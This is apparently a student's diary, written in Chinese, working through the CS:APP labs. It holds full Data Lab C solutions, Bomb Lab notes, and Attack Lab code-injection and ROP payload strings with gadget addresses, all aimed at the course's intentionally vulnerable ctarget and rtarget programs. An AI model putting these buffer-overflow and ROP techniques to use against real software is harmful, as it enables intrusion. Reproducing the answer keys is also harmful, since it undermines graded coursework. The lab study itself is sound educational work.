最强小白级参考,包办环境搭建等问题

1.Data Lab

非常详细的解析
7月26日开始,8月10日凌晨2点结束,历经36.5小时的努力,我完成了第一个lab。看书、看视频,然后一题也不会做,想个个把小时的,然后看思路,再想个把小时,做出来就开心,做不出来就耻辱看答案。
浮点数真的很难,分类讨论的精髓我感觉自己还是没掌握。有关浮点数的三道题都是无法完全独立完成。
中途做出一些题目的时候感觉特别兴奋,但是全部做完以后好像没那么兴奋了。我还是感觉学得太慢,却又明明学得很辛苦。
那么,今后继续努力吧。

        ➜  datalab-handout ./btest -T 20
        Score   Rating  Errors  Function
         1      1       0       bitXor
         1      1       0       tmin
         1      1       0       isTmax
         2      2       0       allOddBits
         2      2       0       negate
         3      3       0       isAsciiDigit
         3      3       0       conditional
         3      3       0       isLessOrEqual
         4      4       0       logicalNeg
         4      4       0       howManyBits
         4      4       0       floatScale2
         4      4       0       floatFloat2Int
         4      4       0       floatPower2
        Total points: 36/36
        ➜  datalab-handout ./dlc -e bits.c 
        dlc:bits.c:147:bitXor: 7 operators
        dlc:bits.c:156:tmin: 1 operators
        dlc:bits.c:170:isTmax: 6 operators
        dlc:bits.c:188:allOddBits: 7 operators
        dlc:bits.c:200:negate: 2 operators
        dlc:bits.c:218:isAsciiDigit: 9 operators
        dlc:bits.c:230:conditional: 8 operators
        dlc:bits.c:243:isLessOrEqual: 14 operators
        dlc:bits.c:257:logicalNeg: 6 operators
        dlc:bits.c:312:howManyBits: 67 operators
        dlc:bits.c:371:floatScale2: 12 operators
        dlc:bits.c:409:floatFloat2Int: 15 operators
        dlc:bits.c:432:floatPower2: 10 operators
//1
/* 
 * bitXor - x^y using only ~ and & 
 *   Example: bitXor(4, 5) = 1
 *   Legal ops: ~ &
 *   Max ops: 14
 *   Rating: 1
 */
int bitXor(int x, int y) {
  return ~(~x & ~y) & ~(x & y);
}
/* 
 * tmin - return minimum two's complement integer 
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 4
 *   Rating: 1
 */
int tmin(void) {
  return 0x1<<31;
}
//2
/*
 * isTmax - returns 1 if x is the maximum, two's complement number,
 *     and 0 otherwise 
 *   Legal ops: ! ~ & ^ | +
 *   Max ops: 10
 *   Rating: 1
 */
int isTmax(int x) {
  //returns 1 if x == 0x7fff ffff
  int y = x + 1; // y == 0x8000 0000, y + y == 0
  //but y != 0
  return !(y + y) & !!y;
}
/* 
 * allOddBits - return 1 if all odd-numbered bits in word set to 1
 *   where bits are numbered from 0 (least significant) to 31 (most significant)
 *   Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 12
 *   Rating: 2
 */
int allOddBits(int x) {
  int y = 0xaa;
  //printf("%x\n",y);
  y = y + (y<<8);
  //printf("%x\n",y);
  y = y + (y<<16);
  //printf("%x\n",y);
  //y = 0xaaaaaa
  return !((x & y) ^ y);
}
/* 
 * negate - return -x 
 *   Example: negate(1) = -1.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 5
 *   Rating: 2
 */
int negate(int x) {
  //x=0x00000002 == 2
  //y=0xfffffffe == -2
  return ~x + 1;
}
//3
/* 
 * isAsciiDigit - return 1 if 0x30 <= x <= 0x39 (ASCII codes for characters '0' to '9')
 *   Example: isAsciiDigit(0x35) = 1.
 *            isAsciiDigit(0x3a) = 0.
 *            isAsciiDigit(0x05) = 0.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 15
 *   Rating: 3
 */
int isAsciiDigit(int x) {
  //0x30 == 0011 0000
  //0x39 == 0011 1001
  //x - 0x39 - 1 < 0 && 0x30 - x - 1 < 0
  //printf("\n前项=   %x\n",(x+~0x39)>>31);
  //printf("后项=   %x\n",(0x30+~x)>>31);
  return !!(((x+~0x39)>>31) & ((0x30+~x)>>31));
}
/* 
 * conditional - same as x ? y : z 
 *   Example: conditional(2,4,5) = 4
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 16
 *   Rating: 3
 */
int conditional(int x, int y, int z) {
  // ~!x = 0xffffffff(x == 1) or 0x00000000(x == 0)
  x = (~!!x) + 1;
  return (x & y) | (~x & z);
}
/* 
 * isLessOrEqual - if x <= y  then return 1, else return 0 
 *   Example: isLessOrEqual(4,5) = 1.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 24
 *   Rating: 3
 */
int isLessOrEqual(int x, int y) {
  int xs = x>>31, ys = y>>31;//0xffffffff or 0x00000000
  //      x<0,y>0            y-x>=0         not x>0,y<0
  return (xs & !ys) | (!((y + ~x + 1)>>31) & !((!xs) & ys));
  //Hooooooooooraaaaaaaay!!!!
}
//4
/* 
 * logicalNeg - implement the ! operator, using all of 
 *              the legal operators except !
 *   Examples: logicalNeg(3) = 0, logicalNeg(0) = 1
 *   Legal ops: ~ & ^ | + << >>
 *   Max ops: 12
 *   Rating: 4 
 */
int logicalNeg(int x) {
  //logicalNeg(0) = 1, logicalNeg(others) = 0
  //compare sign before and after neg
  return ((x>>31) | ((~x + 1)>>31)) + 1;
}
/* howManyBits - return the minimum number of bits required to represent x in
 *             two's complement
 *  Examples: howManyBits(12) = 5
 *            howManyBits(298) = 10
 *            howManyBits(-5) = 4
 *            howManyBits(0)  = 1
 *            howManyBits(-1) = 1
 *            howManyBits(0x80000000) = 32
 *  Legal ops: ! ~ & ^ | + << >>
 *  Max ops: 90
 *  Rating: 4
 */
int howManyBits(int x) {
  //printf("\n\nthis time, x = %x\n", x);
  int b16, b8, b4, b2 ,b1;
  //the sign of x, equals 1 if x >= 0
  int xs = !(x>>31);
  
  //the next two lines imply
  //x = xs? x : (~x)
  int temp = (~!!xs) + 1;
  x = (temp & x) | (~temp & (~x));
  
  xs = 1;
  //if x == 0 then make xs == 0
  xs = xs & !!x;

  //printf("x=%x, %d\n", x, x);
  
  b16 = !!(x>>16);
  temp = ~b16 + 1;//b16==0,temp=0;b16==1,temp=0xffffffff
  x = (~temp & x) | (temp & (x>>16));//if b16==1 then x=x>>16
  //printf("x=%x, %d\n", x, x);
  b8 = !!(x>>8);
  temp = ~b8 + 1;
  x = (~temp & x) | (temp & (x>>8));
  
  //printf("x=%x, %d\n", x, x);
  b4 = !!(x>>4);
  temp = ~b4 + 1;
  x = (~temp & x) | (temp & (x>>4));
  
  //printf("x=%x, %d\n", x, x);
  b2 = !!(x>>2);
  temp = ~b2 + 1;
  x = (~temp & x) | (temp & (x>>2));
  
  //printf("x=%x, %d\n", x, x);
  b1 = !!(x>>1);
  
  //printf("x=%x, %d\n", x, x);
  //int a = (b16<<4) + (b8<<3) + (b4<<2) + (b2<<1) + b1;
  //printf("a = %d\n%d%d%d%d%d%d\n", a,b16,b8,b4,b2,b1,xs);
  return (b16<<4) + (b8<<3) + (b4<<2) + (b2<<1) + b1 + 1 + xs;
}
//float
/* 
 * floatScale2 - Return bit-level equivalent of expression 2*f for
 *   floating point argument f.
 *   Both the argument and result are passed as unsigned int's, but
 *   they are to be interpreted as the bit-level representation of
 *   single-precision floating point values.
 *   When argument is NaN, return argument
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
unsigned floatScale2(unsigned uf) {
  //start implementation
  //float: 1s 8exp 23frac, exp=E+Bias, Bias=127
  //(-1)^s * frac * 2^E
  //int s = uf>>31;//0xffffffff(neg) or 0(pos)
  //这题抄的
  unsigned sign = uf & 0x80000000u;
  unsigned exp = uf & 0x7f800000;
  unsigned frac = uf & 0x007fffff;
  //INF and NaN
  if(exp == 0x7f800000) {
    return uf;
  }
  //denormalized nums and 0
  if(!exp) {
    return sign | uf<<1;
  }
  exp += 1<<23;
  //add to +INF
  if(exp == 0x7f800000) {
    frac = 0;
  }
  return sign | exp | frac;



  // printf("\n\nuf = %x\n", uf);
  // int frac = uf<<8;
  // printf("frac = %x\n", frac);
  // frac = frac>>8;//0(sign) 00000000(exp) frac or 1 11111111 frac
  // printf("frac = %x\n", frac);
  // int exp = uf>>23;//0 exp or 1 exp
  // if(exp>>8) { //clear sign bit
  //   exp += 0xffffff00;//now exp = 0 exp
  // }
  // printf("exp = %x\n", exp);
  // //to make frac = 0 00000000 frac
  // if(frac>>23 && exp) { //exp!=0
  //   frac += (1<<23);
  //   printf("if(frac>>23) frac = %x\n", frac);
  // }
  // //if exp!=0 then exp+=1
  // if(exp) {
  //   frac += (1<<23);
  //   printf("if(exp) frac = %x\n", frac);
  // }
}
/* 
 * floatFloat2Int - Return bit-level equivalent of expression (int) f
 *   for floating point argument f.
 *   Argument is passed as unsigned int, but
 *   it is to be interpreted as the bit-level representation of a
 *   single-precision floating point value.
 *   Anything out of range (including NaN and infinity) should return
 *   0x80000000u.
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
int floatFloat2Int(unsigned uf) {
  //这题基本是抄的
  //float: 1s 8exp 23frac, exp=E+Bias(normalized)
  //E=1-bias(denormalized, exp=0), Bias=127
  //(-1)^s * frac * 2^E
  //NaN:exp=0xff,frac!=0;infinity:exp=0xff,frac==0
  unsigned sign = uf>>31;
  unsigned exp = uf & 0x7f800000;
  unsigned frac = (uf & 0x007fffff) + 0x00800000;
  int res;
  //printf("\nexp = %x\n", exp);
  int E = (exp>>23) - 127;
  //printf("E = %x, %d\n", E,E);
  if(E < 0) {
    return 0;
  }
  if(E > 31) {
    return 0x80000000u;
  }
  if(E < 23) {
    res = frac>>(23 - E);
  } else {
    res = frac<<(E - 23);
  }
  return sign ? (~res + 1) : res;
}
/* 
 * floatPower2 - Return bit-level equivalent of the expression 2.0^x
 *   (2.0 raised to the power x) for any 32-bit integer x.
 *
 *   The unsigned value that is returned should have the identical bit
 *   representation as the single-precision floating-point number 2.0^x.
 *   If the result is too small to be represented as a denorm, return
 *   0. If too large, return +INF.
 * 
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. Also if, while 
 *   Max ops: 30 
 *   Rating: 4
 */
unsigned floatPower2(int x) {
  //min denorm:0 00000000 00...1 = 2^(1-127-23), E=-149
  if(x<-149) return 0;
  //max denorm:0 00000000 10...0 = 2^(1-127-1), E=-127
  if(x<=-127) return 1<<(x+149);
  //max norm:0 11111110 00...0 = 2^(2^8-2-127), E=127
  if(x<=127) return (x+127)<<23;
  //if(x>127)
  return 0xff<<23;
}

2.Bomb Lab

(Aug 14)Unfortunate start...

➜  ~ bomb/bomb
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
aa

BOOM!!!
The bomb has blown up.

参考
https://zhuanlan.zhihu.com/p/104130161
https://zero4drift.github.io/posts/csapp-bomb-jie-ti-si-lu-ji-lu/
8.20在参考里看完前3个bomb才基本搞明白是什么套路。要我写出这种逻辑思路清晰的解析绝对是不可能,尤其是后者,ntu的同学,我真的非常佩服,从文章发表时间来看不仅几天就能做完一个lab,还能写出如此高水准的解析。直接感受到了数年的差距。唉

8.27前天连蒙带猜自己拆了4号弹。今天参考着zero4drift的解析拆了5号弹,真的只差一点点就自己拆出来了。只差最后这一段:

401099: 0f b6 92 b0 24 40 00    movzbl 0x4024b0(%rdx),%edx
4010a0: 88 54 04 10             mov    %dl,0x10(%rsp,%rax,1)
4010a4: 48 83 c0 01             add    $0x1,%rax
4010a8: 48 83 f8 06             cmp    $0x6,%rax
4010ac: 75 dd                   jne    40108b <phase_5+0x29>

没有理解到0x4024b0(%rdx)中的%rdx指的是0x4024b0地址所指向字符串的下标索引。书里其实有讲,但看来是我没消化到位orz
研究了很久6号弹,怎么这么难,我要爆炸了。循环套循环,一开头就感觉完全读不懂了。去看了一下两篇参考,完全不知所云,跪了orz

8.28 6号弹看解析只能看懂它在干什么,涉及到细节就完全不行。每一个涉及到地址的操作都直接晕掉,何况这种各种循环来操作链表的高级操作。gcc编译器是真救世主,要我天天看汇编语言我可能会疯掉。这里就先留个坑在这吧。还有个secret_phase也先不做了,哪天有心情或者有需求了再回来看看吧……

./bomb input
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That's number 2.  Keep going!
Halfway there!
So you got that one.  Try this one.
Good work!  On to the next...
Congratulations! You've defused the bomb!

csapp里面这一章最后一节3.11 Floating-Point Code做lab完全没用就一点没看,Mark一下方便以后补课。
从开始看第三章到完成(?)bomblab,用时29.5h。

3. Attack Lab

unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
 void touch2(unsigned val)
 {
 vlevel = 2; /* Part of validation protocol */
 if (val == cookie) {
 printf("Touch2!: You called touch2(0x%.8x)\n", val);
 validate(2);
 } else {
 printf("Misfire: You called touch2(0x%.8x)\n", val);
 fail(2);
 }
 exit(0);
 }
  • phase2 ans
    2021-09-03 13:33:38 星期五
00 00 00 00 00 00 00 00
48 c7 c7 fa 97 b9 59 
68 ec 17 40 00 c3 
00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
80 dc 61 55 00 00 00 00

0x5561dc80是个地址。这是个word,包含4个byte,比如0x80是一个byte。0x5561dc80对应这个代码块的第一行,则0x5561dc78+0x8=0x5561dc80对应这个代码块的第二行(做加法是因为向栈顶地址递减)。
代码块最后一行是overflow的代码,顶替掉了栈中原来存放的地址,这样程序在返回时读取到的地址就会是我插入的地址。我插入的地址对应代码块的第二行,这是汇编语言

mov $0x59b997fa,%rdi  #cookie
pushq $0x4017ec             #touch2 address
retq

经gcc编译后的后缀为.o的可执行文件,作用是在寄存器中插入正确的cookie然后返回touch2,使得touch2代码中val==cookie为真。

  • phase3
1 /* Compare string to hex represention of unsigned value */
2 int hexmatch(unsigned val, char *sval)
3 {
4 char cbuf[110];
5 /* Make position of check string unpredictable */
6 char *s = cbuf + random() % 100;
7 sprintf(s, "%.8x", val);
8 return strncmp(sval, s, 9) == 0;
9 }
10
11 void touch3(char *sval)
12 {
13 vlevel = 3; /* Part of validation protocol */
14 if (hexmatch(cookie, sval)) {
15 printf("Touch3!: You called touch3(\"%s\")\n", sval);
16 validate(3);
17 } else {
18 printf("Misfire: You called touch3(\"%s\")\n", sval);
19 fail(3);
20 }
21 exit(0);
22 }

不认真看Writeup吃大亏。
`When functions hexmatch and strncmp are called, they push data onto the stack, overwriting
portions of memory that held the buffer used by getbuf. As a result, you will need to be careful
where you place the string representation of your cookie.`
一开始完全没考虑存在哪的问题,还是把地址存在了getbuff的缓冲区,结果同样的输入gdb和Linux跑出来结果居然不一样,给我整懵了,去看了下参考。幸好参考里把这段提示照抄了一遍啊……剩下的就都是先前想到的地方了,和之前差不多的操作,在getbuff函数里用我们输入的栈顶地址顶替掉返回地址,然后在栈顶植入可执行代码:

   0:    48 c7 c7 a8 dc 61 55     mov    $0x5561dca8,%rdi
   7:    68 fa 18 40 00           pushq  $0x4018fa
   c:    c3                       retq   

这里mov进寄存器的地址0x5561dca8是在gdb里面打test函数的断点得出的。在这个地址里存的是我们之前顶替掉返回地址之后接着再overflow了一行35 39 62 39 39 37 66 61(所代表的就是我们最终需要的cookie,注意这是ascii转换后的结果)。

➜  attacklab ./hex2raw < phase3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 

这个phase花了我三个多小时……
ans:

48 c7 c7 a8 dc 61 55 
68 fa 18 40 00 c3 
00 00 00 
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61

当然第四行全0也是可以滴(不如说是啥都行反正都会被后面的函数覆盖掉),
我只是懒得改数字了。

2021-09-03 16:16:39 星期五
连参考带抄做完了phase4,我真的很想自己独立完成,但是实在是没这能力{{(>_<)}}

贴几个便于理解的图:
包含单个 gadget 的溢出数据
包含单个 gadget 的溢出数据
包含多个 gadget 的溢出数据
包含多个 gadget 的溢出数据
传入参数:pop将栈上数据弹入寄存器。栈上数据可由overflow写入。
传入参数
包含多个 gadget 的溢出数据(修改后)
包含多个 gadget 的溢出数据(修改后)

第一步跟phase2一样,通过overflow改写返回地址,但是这个地址必须是在原有代码中已经存在的,接下来就是找到我们要的代码。
我们要达成的效果是将cookie传给%rdi,然后返回touch2的地址。我们可以通过pop指令将栈上数据弹入寄存器。最理想的情况是直接弹给%rdi,但目标范围内没有这样的代码。于是我们可以迂回一下,先pop到%rax里面,再mov到%rdi里。这两个指令对应5848 89 c7,由于90对应nop可以忽视,且后面必须跟随c3(ret),在代码的这个地方都可以找到对应地址:

00000000004019a0 <addval_273>:
  4019a0:       8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:       c3                      retq   

00000000004019a7 <addval_219>:
  4019a7:       8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:       c3                      retq   

最终可行的输入是00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a3 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00

2021-09-04 09:56:01 星期六 开始做phase5
目标:把cookie存入某个地址,把存有cookie的地址传给%rdi,call touch3。由于栈随机化的存在,每一次执行代码栈指针所在的地址都不一样,不能像之前那样直接推测出地址并存入寄存器,只能通过获取%rsp并设置一定的偏移量来存入cookie。
在溢出阶段我们要实现的伪代码如下:

mov %rsp,%rax  #48 49 e0 c3, 0x401a06
mov %rax,%rdi  #48 49 c7 c3, 0x4019a2
pop %rsi  #5f c3, 0x401383
(偏移值=48)
lea (%rdi,%rsi,1),%rax
mov %rax,%rdi
(touch3地址)
(cookie)

(放弃了)

2021-09-04 13:10:17 星期六
看答案看了半天才看明白,真是超凡脱俗{{(>_<)}}

难点主要在设置偏移值那块:由于farm里面没有能用的pop指令,因此偏移值设定需要用一种极其迂回的方式:先考虑在跳转到 touch3 前的最后几次跳转需要3个指令+1个地址,

mov %rsp,%rax  #注意当前跳转地址已弹出,不算入偏移值##0x401a06
mov %rax,%rdi  #现在%rdi中存入的是%rsp的值##0x4019c5
lea (%rdi,%rsi,1),%rax  #经前面操作,偏移值32(十进制)已保存在%rsi中##0x4019d6
mov %rax,%rdi  #现在传入参数%rdi中存储的是我们想要的地址##0x4019c5
touch3地址  ##0x4018fa
ascii编码后的cookie

确定偏移值为4*8=32;
接着把1移入%eax(),用一个lea和4个mov指令反复倍增至32,

d0 19 40 00 00 00 00 00  #mov $0x1,%eax
c6 19 40 00 00 00 00 00  #mov %eax,%edi
42 1a 40 00 00 00 00 00  #movl %eax,%edx
34 1a 40 00 00 00 00 00  #movl %edx,%ecx
27 1a 40 00 00 00 00 00  #movl %ecx,%esi    %esi=1

d6 19 40 00 00 00 00 00  #lea (%rdi,%rsi,1),%rax   %rax=2
c6 19 40 00 00 00 00 00  #mov %eax,%edi
42 1a 40 00 00 00 00 00  #movl %eax,%edx
34 1a 40 00 00 00 00 00  #movl %edx,%ecx
27 1a 40 00 00 00 00 00  #%esi=2

这一步是最难想的。
最后贴一下答案(注释要删掉):

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

d0 19 40 00 00 00 00 00 #1移入%eax
c6 19 40 00 00 00 00 00 
42 1a 40 00 00 00 00 00 
34 1a 40 00 00 00 00 00 
27 1a 40 00 00 00 00 00 #%esi=1

d6 19 40 00 00 00 00 00 
c6 19 40 00 00 00 00 00 
42 1a 40 00 00 00 00 00 
34 1a 40 00 00 00 00 00 
27 1a 40 00 00 00 00 00 #esi=2

d6 19 40 00 00 00 00 00 
c6 19 40 00 00 00 00 00 
42 1a 40 00 00 00 00 00 
34 1a 40 00 00 00 00 00 
27 1a 40 00 00 00 00 00 #4

d6 19 40 00 00 00 00 00 
c6 19 40 00 00 00 00 00 
42 1a 40 00 00 00 00 00 
34 1a 40 00 00 00 00 00 
27 1a 40 00 00 00 00 00 #8

d6 19 40 00 00 00 00 00 
c6 19 40 00 00 00 00 00 
42 1a 40 00 00 00 00 00 
34 1a 40 00 00 00 00 00 
27 1a 40 00 00 00 00 00 #16

d6 19 40 00 00 00 00 00 
42 1a 40 00 00 00 00 00 
34 1a 40 00 00 00 00 00 
27 1a 40 00 00 00 00 00 #32

06 1a 40 00 00 00 00 00 #mov %rsp,%rax
c5 19 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
c5 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 #touch3地址

35 39 62 39 39 37 66 61 #cookie

参考:https://zero4drift.github.io/posts/csapp-attacklab-jie-ti-si-lu-ji-lu/#phase-5

先想出汇编代码,然后对着表查对应的数字,再去farm的范围里面找,整个流程我走了一两遍,结果都是找不到,于是汇编代码就要迁就着范围重写一遍,偏移值也要重新算……这种工作量,这种不掉进坑里的细致,这种对前进方向不确定时的耐心,我是远远地不行orz

attacklab fin,用时15h

4. Architecture Lab

2021-09-07 20:27:37 星期二
这个lab没有大佬Yannick提前配好的环境力,光是折腾环境问题就花了我两个多小时,最后也根本弄不成前几个lab一样用ssh root的方法在vscode里做,只能半将就着terminal控制docker,然后vscode开文件这样做了。稍微看了下文档,要写另一种格式的汇编语言,有点害怕。感觉可能以后完全用不到这方面的知识,而且之前参考的两个大佬也没有做这个lab,看几个博客象征性把思路捋一捋,把答案编译一下然后过一过算了。